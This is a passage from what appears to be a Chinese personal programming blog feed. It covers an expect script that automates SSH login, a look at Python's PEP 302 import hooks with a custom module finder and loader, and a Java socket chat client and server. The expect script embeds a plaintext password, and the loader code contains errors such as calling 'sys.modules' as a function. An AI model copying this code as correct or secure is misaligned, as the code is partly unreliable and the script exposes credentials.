<span class="n">yum</span> <span class="n">install</span> <span class="n">expect</span> </code></pre></figure>
<p>另外,执行</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="err">$</span> <span class="n">which</span> <span class="n">expect</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">expect</span></code></pre></figure>
<p>可以找到执行路径,类似python shell文件,需要在第一行添加 <code class="language-plaintext highlighter-rouge">#!/usr/bin/expect </code>命令
###2.2 <strong>编辑脚本</strong></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#!/usr/bin/expect
</span><span class="nb">set</span> <span class="n">url</span> <span class="p">[</span><span class="n">lindex</span> <span class="err">$</span><span class="n">argv</span> <span class="mi">0</span><span class="p">]</span>
<span class="nb">set</span> <span class="n">timeout</span> <span class="mi">30</span>
<span class="n">spawn</span> <span class="n">ssh</span> <span class="n">log</span><span class="o">@</span><span class="err">$</span><span class="n">url</span>
<span class="n">expect</span> <span class="s">"password:"</span>
<span class="n">sleep</span> <span class="mi">1</span>
<span class="n">send</span> <span class="s">"hahahhaha</span><span class="se">\r</span><span class="s">"</span>
<span class="n">interact</span></code></pre></figure>
<p>上面这个脚本是用来登录server的,有了这个后,执行下面的命令</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="n">ssh</span> <span class="n">log</span><span class="o">@**</span><span class="p">.</span><span class="n">xx</span><span class="p">.</span><span class="n">net</span>
<span class="n">ssh</span> <span class="n">admin</span><span class="o">@**</span><span class="p">.</span><span class="n">xx</span><span class="p">.</span><span class="n">net</span></code></pre></figure>
<p>就不需要输入蛋疼的密码了(尤其是输错几次)</p>
<ul>
<li>第一行不解释</li>
<li>第二行 [lindex $argv 0] 用于获取 终端的输入</li>
<li>第三行设置超时时间,比如登录、执行等命令都有延迟</li>
<li>spawn 是expect下的命令,它主要的功能是给ssh运行进程加个壳,用来传递交互指令。</li>
<li><code class="language-plaintext highlighter-rouge">expect "password:"</code>返回命令中包含’password’字符串,如果有就返回,等待时间为刚才设置的超时时间</li>
<li><code class="language-plaintext highlighter-rouge">send "hahahhaha\r"</code> 这个就是替代人来进行的输入</li>
<li><code class="language-plaintext highlighter-rouge">intaract</code> 执行完成后保持交互状态,把控制权交给控制台</li>
</ul>
<p>###2.3 <strong>修改脚本权限,放到可执行目录下</strong></p>
<p>感谢涵光的问题,起码鼓捣出这个脚本,以后再也不用输入xixihaha了!!!
[1]: http://atit.alipay.net/index.php?r=blog/detail&qid=2280
[2]: http://linux.die.net/man/1/expect</p>
Python import探索
2015-07-18T00:00:00+00:00
http://fish267.github.io/2015/07/18/python-import
<p>Java和Python玩家对import关键字一点都不陌生,本文以python为例,试着理解一下。</p>
<p>##1. 环境变量
可以猜到,在import模块时,python会从环境变量中搜索需要加载的模块,这个列表就存放在sys.path变量中,可以进行修改。想要引入时,首先要将路径放到环境变量中。
对环境变量临时修改,将<code class="language-plaintext highlighter-rouge">/home/admin/git</code>添加进来,示例如下:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">>>></span> import sys
<span class="o">>>></span> <span class="s1">'/home/admin/git'</span> <span class="k">in </span>sys.path
False
<span class="o">>>></span> sys.path.append<span class="o">(</span><span class="s1">'/home/admin/git'</span><span class="o">)</span>
<span class="o">>>></span> <span class="s1">'/home/admin/git'</span> <span class="k">in </span>sys.path
True
<span class="o">>>></span> print sys.path
<span class="o">[</span><span class="s1">''</span>, <span class="s1">'/usr/lib64/python26.zip'</span>, <span class="s1">'/usr/lib64/python2.6'</span>, <span class="s1">'/usr/lib64/python2.6/plat-linux2'</span>, <span class="s1">'/usr/lib64/python2.6/lib-tk'</span>, <span class="s1">'/usr/lib64/python2.6/lib-old'</span>, <span class="s1">'/usr/lib64/python2.6/lib-dynload'</span>, <span class="s1">'/usr/lib64/python2.6/site-packages'</span>, <span class="s1">'/usr/lib64/python2.6/site-packages/gtk-2.0'</span>, <span class="s1">'/usr/lib/python2.6/site-packages'</span>, <span class="s1">'/home/admin/git'</span><span class="o">]</span></code></pre></figure>
<p>类似windows系统变量,在查询时,也是按照列表的顺序进行遍历
<!--more-->
##2. 模块查询和加载
参考<a href="https://www.python.org/dev/peps/pep-0302/">python PEP302</a>,详细讲解了如何导入钩子机制,简单分为了两步模块导入和模块加载</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The protocol involves two objects: a finder and a loader . A finder object has a single method:
finder.find_module(fullname, path=None)
loader.load_module(fullname) ###2.1 **finder.find_module**实现 这个很容易理解,文件查询而已,有的是.py文件,有的是带目录package的。
</code></pre></div></div>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="k">class</span> <span class="nc">ModuleFinder</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">find_on_path</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fullname</span><span class="p">):</span>
<span class="n">fls</span> <span class="o">=</span> <span class="p">[</span><span class="s">'%s/__init__.py'</span><span class="p">,</span> <span class="s">'%s.py'</span><span class="p">]</span>
<span class="c1"># import xx.oo.tt package导入,和java导入一样
</span> <span class="n">dirpath</span> <span class="o">=</span> <span class="s">'/'</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">fullname</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"."</span><span class="p">))</span>
<span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">sys</span><span class="p">.</span><span class="n">path</span><span class="p">:</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">for</span> <span class="n">fp</span> <span class="ow">in</span> <span class="n">fls</span><span class="p">:</span>
<span class="n">composed_path</span> <span class="o">=</span> <span class="n">fp</span> <span class="o">%</span> <span class="p">(</span><span class="s">"%s/%s"</span> <span class="o">%</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">dirpath</span><span class="p">))</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">composed_path</span><span class="p">):</span>
<span class="c1"># print composed_path
</span> <span class="k">return</span> <span class="n">composed_path</span>
<span class="k">def</span> <span class="nf">find_module</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fullname</span><span class="p">,</span> <span class="n">path</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="n">path</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">find_on_path</span><span class="p">(</span><span class="n">fullname</span><span class="p">)</span>
<span class="k">if</span> <span class="n">path</span><span class="p">:</span>
<span class="n">do_something_else</span><span class="p">()</span></code></pre></figure>
<p>测试代码:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1"># test case
</span><span class="n">f</span> <span class="o">=</span> <span class="n">ModuleFinder</span><span class="p">()</span>
<span class="n">f</span><span class="p">.</span><span class="n">find_module</span><span class="p">(</span><span class="s">'os'</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">find_module</span><span class="p">(</span><span class="s">'urllib'</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">find_module</span><span class="p">(</span><span class="s">'json'</span><span class="p">)</span></code></pre></figure>
<p>结果如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">python2</span><span class="p">.</span><span class="mi">6</span><span class="o">/</span><span class="n">os</span><span class="p">.</span><span class="n">py</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">python2</span><span class="p">.</span><span class="mi">6</span><span class="o">/</span><span class="n">urllib</span><span class="p">.</span><span class="n">py</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">python2</span><span class="p">.</span><span class="mi">6</span><span class="o">/</span><span class="n">json</span><span class="o">/</span><span class="n">__init__</span><span class="p">.</span><span class="n">py</span></code></pre></figure>
<p>##2.2 loader.load_module的实现
在<a href="https://www.python.org/dev/peps/pep-0302/">PEP302</a>中,给出了一个简单的模块加载器:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1"># Consider using importlib.util.module_for_loader() to handle
# most of these details for you.
</span><span class="k">def</span> <span class="nf">load_module</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fullname</span><span class="p">):</span>
<span class="n">code</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_code</span><span class="p">(</span><span class="n">fullname</span><span class="p">)</span>
<span class="n">ispkg</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">is_package</span><span class="p">(</span><span class="n">fullname</span><span class="p">)</span>
<span class="n">mod</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">fullname</span><span class="p">,</span> <span class="n">imp</span><span class="p">.</span><span class="n">new_module</span><span class="p">(</span><span class="n">fullname</span><span class="p">))</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__file__</span> <span class="o">=</span> <span class="s">"<%s>"</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">__class__</span><span class="p">.</span><span class="n">__name__</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__loader__</span> <span class="o">=</span> <span class="bp">self</span>
<span class="k">if</span> <span class="n">ispkg</span><span class="p">:</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__path__</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__package__</span> <span class="o">=</span> <span class="n">fullname</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__package__</span> <span class="o">=</span> <span class="n">fullname</span><span class="p">.</span><span class="n">rpartition</span><span class="p">(</span><span class="s">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">exec</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">mod</span><span class="p">.</span><span class="n">__dict__</span><span class="p">)</span>
<span class="k">return</span> <span class="n">mod</span></code></pre></figure>
<p>将这个函数补充完善一下, 其中<code class="language-plaintext highlighter-rouge">import_file_to_module</code>是将源码弄成Python模块对象并返回,还有,要将模块的各类属性给塞进去。以<code class="language-plaintext highlighter-rouge">json</code>为例,他的属性列表(两个’_‘开头结尾的)如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">>>></span> <span class="kn">import</span> <span class="nn">json</span>
<span class="o">>>></span> <span class="nb">dir</span><span class="p">(</span><span class="n">json</span><span class="p">)</span>
<span class="p">[</span><span class="s">'JSONDecoder'</span><span class="p">,</span> <span class="s">'JSONEncoder'</span><span class="p">,</span> <span class="s">'__all__'</span><span class="p">,</span> <span class="s">'__author__'</span><span class="p">,</span> <span class="s">'__builtins__'</span><span class="p">,</span> <span class="s">'__doc__'</span><span class="p">,</span> <span class="s">'__file__'</span><span class="p">,</span> <span class="s">'__name__'</span><span class="p">,</span> <span class="s">'__package__'</span><span class="p">,</span> <span class="s">'__path__'</span><span class="p">,</span> <span class="s">'__version__'</span><span class="p">,</span> <span class="s">'_default_decoder'</span><span class="p">,</span> <span class="s">'_default_encoder'</span><span class="p">,</span> <span class="s">'decoder'</span><span class="p">,</span> <span class="s">'dump'</span><span class="p">,</span> <span class="s">'dumps'</span><span class="p">,</span> <span class="s">'encoder'</span><span class="p">,</span> <span class="s">'load'</span><span class="p">,</span> <span class="s">'loads'</span><span class="p">,</span> <span class="s">'scanner'</span><span class="p">]</span>
<span class="o">>>></span></code></pre></figure>
<p>具体加载器实现如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">ModuleLoader</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">path</span> <span class="o">=</span> <span class="n">path</span>
<span class="c1"># package中包含文件__init__.py
</span> <span class="k">def</span> <span class="nf">is_package</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fullname</span><span class="p">):</span>
<span class="n">dirpath</span> <span class="o">=</span> <span class="s">'/'</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">fullname</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"."</span><span class="p">))</span>
<span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">sys</span><span class="p">.</span><span class="n">path</span><span class="p">:</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">abspath</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="n">composed_path</span> <span class="o">=</span> <span class="s">'%s%s/__init__.py'</span> <span class="o">%</span><span class="err"> </span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">dirpath</span><span class="p">)</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">composed_path</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">True</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">def</span> <span class="nf">load_module</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fullname</span><span class="p">):</span>
<span class="k">if</span> <span class="n">fullname</span> <span class="ow">in</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">:</span>
<span class="k">return</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">(</span><span class="n">fullname</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">:</span>
<span class="k">return</span>
<span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">fullname</span><span class="p">]</span> <span class="o">=</span> <span class="bp">None</span>
<span class="c1"># 读取源文件,编译成python代码,返回一个Python模块对象
</span> <span class="n">mod</span> <span class="o">=</span> <span class="n">import_file_to_module</span><span class="p">(</span><span class="n">fullname</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>
<span class="n">ispkg</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">is_package</span><span class="p">(</span><span class="n">fullname</span><span class="p">)</span>
<span class="c1"># 将模块的属性写上
</span> <span class="n">mod</span><span class="p">.</span><span class="n">__file__</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">path</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__loader__</span> <span class="o">=</span> <span class="bp">self</span>
<span class="n">mod</span><span class="o">=</span><span class="p">.</span><span class="n">__name__</span> <span class="o">=</span> <span class="n">fullname</span>
<span class="c1"># 如果引入的是一个package,还有其他属性
</span> <span class="k">if</span> <span class="n">ispkg</span><span class="p">:</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__path__</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__package__</span> <span class="o">=</span> <span class="n">fullname</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">mod</span><span class="p">.</span><span class="n">__package__</span> <span class="o">=</span> <span class="n">fullname</span><span class="p">.</span><span class="n">rpartition</span><span class="p">(</span><span class="s">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">fullname</span><span class="p">]</span> <span class="o">=</span> <span class="n">mod</span>
<span class="k">return</span> <span class="n">mod</span></code></pre></figure>
<p>用的最多的东西反而最容易被忽视,比如C语言printf(),C++的cout,Ruby的Require等等。
拿来玩一玩,跟挖宝一样,蛮有意思的~~</p>
<h2 id="参考内容">参考内容</h2>
<ol>
<li><a href="https://ruby-china.org/topics/4897">PEP 302是什么?</a></li>
<li>书籍《Python高手之路》第二章 模块和库</li>
<li><a href="http://programmers.stackexchange.com/questions/154247/experience-of-pythons-pep-302-new-import-hooks">Experience of Python’s “PEP-302 New Import Hooks”</a></li>
</ol>
ChatProject3
2015-04-30T00:00:00+00:00
http://fish267.github.io/2015/04/30/ChatProject3
<p>This is the final version of the chat project, here we modified the chatclient.java using multithread.
<b>Chatlient.java</b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.BorderLayout</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.Frame</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.TextArea</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.TextField</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.ActionEvent</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.ActionListener</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.WindowAdapter</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.awt.event.WindowEvent</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataInputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.EOFException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.Socket</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.SocketException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.UnknownHostException</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatClient</span> <span class="kd">extends</span> <span class="nc">Frame</span> <span class="o">{</span>
<span class="nc">Socket</span> <span class="n">s</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="nc">DataOutputStream</span> <span class="n">dos</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="nc">DataInputStream</span> <span class="n">dis</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">boolean</span> <span class="n">bConnected</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="nc">TextField</span> <span class="n">tfTxt</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextField</span><span class="o">();</span>
<span class="nc">TextArea</span> <span class="n">taContent</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TextArea</span><span class="o">();</span>
<span class="nc">Thread</span> <span class="n">tRecv</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Thread</span><span class="o">(</span><span class="k">new</span> <span class="nc">RecvThread</span><span class="o">());</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatClient</span><span class="o">().</span><span class="na">launchFrame</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">launchFrame</span><span class="o">()</span> <span class="o">{</span>
<span class="n">setLocation</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">setSize</span><span class="o">(</span><span class="mi">300</span><span class="o">,</span> <span class="mi">300</span><span class="o">);</span>
<span class="n">add</span><span class="o">(</span><span class="n">tfTxt</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">SOUTH</span><span class="o">);</span>
<span class="n">add</span><span class="o">(</span><span class="n">taContent</span><span class="o">,</span> <span class="nc">BorderLayout</span><span class="o">.</span><span class="na">NORTH</span><span class="o">);</span>
<span class="n">pack</span><span class="o">();</span>
<span class="k">this</span><span class="o">.</span><span class="na">addWindowListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">WindowAdapter</span><span class="o">()</span> <span class="o">{</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">windowClosing</span><span class="o">(</span><span class="nc">WindowEvent</span> <span class="n">arg0</span><span class="o">)</span> <span class="o">{</span>
<span class="n">disconnect</span><span class="o">();</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">});</span>
<span class="n">tfTxt</span><span class="o">.</span><span class="na">addActionListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">TFListener</span><span class="o">());</span>
<span class="n">setVisible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="n">connect</span><span class="o">();</span>
<span class="n">tRecv</span><span class="o">.</span><span class="na">start</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">connect</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Socket</span><span class="o">(</span><span class="s">"127.0.0.1"</span><span class="o">,</span> <span class="mi">8888</span><span class="o">);</span>
<span class="n">dos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span>
<span class="n">dis</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataInputStream</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">());</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"connected!"</span><span class="o">);</span>
<span class="n">bConnected</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">UnknownHostException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">disconnect</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">dos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="n">dis</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="n">s</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">TFListener</span> <span class="kd">implements</span> <span class="nc">ActionListener</span> <span class="o">{</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">actionPerformed</span><span class="o">(</span><span class="nc">ActionEvent</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">tfTxt</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">trim</span><span class="o">();</span>
<span class="c1">// taContent.setText(str);</span>
<span class="n">tfTxt</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">""</span><span class="o">);</span>
<span class="k">try</span> <span class="o">{</span>
<span class="c1">// System.out.println(s);</span>
<span class="n">dos</span><span class="o">.</span><span class="na">writeUTF</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
<span class="n">dos</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
<span class="c1">// dos.close();</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e1</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e1</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="kd">class</span> <span class="nc">RecvThread</span> <span class="kd">implements</span> <span class="nc">Runnable</span> <span class="o">{</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">while</span> <span class="o">(</span><span class="n">bConnected</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="n">dis</span><span class="o">.</span><span class="na">readUTF</span><span class="o">();</span>
<span class="c1">// System.out.println(str);</span>
<span class="n">taContent</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="n">taContent</span><span class="o">.</span><span class="na">getText</span><span class="o">()</span> <span class="o">+</span> <span class="n">str</span> <span class="o">+</span> <span class="sc">'\n'</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">SocketException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"退出了,bye!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">EOFException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"推出了,bye - bye!"</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<!--more-->
<p>##<b>ChatServer.java</b></p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">Chat</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataInputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.EOFException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.BindException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.ServerSocket</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.Socket</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.ArrayList</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.List</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ChatServer</span> <span class="o">{</span>
<span class="kt">boolean</span> <span class="n">started</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="nc">ServerSocket</span> <span class="n">ss</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="nc">List</span><span class="o"><</span><span class="nc">Client</span><span class="o">></span> <span class="n">clients</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o"><</span><span class="nc">Client</span><span class="o">>();</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">new</span> <span class="nf">ChatServer</span><span class="o">().</span><span class="na">start</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">start</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">ss</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ServerSocket</span><span class="o">(</span><span class="mi">8888</span><span class="o">);</span>
<span class="n">started</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">BindException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"端口使用中...."</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"请关掉相关程序并重新运行服务器!"</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">try</span> <span class="o">{</span>
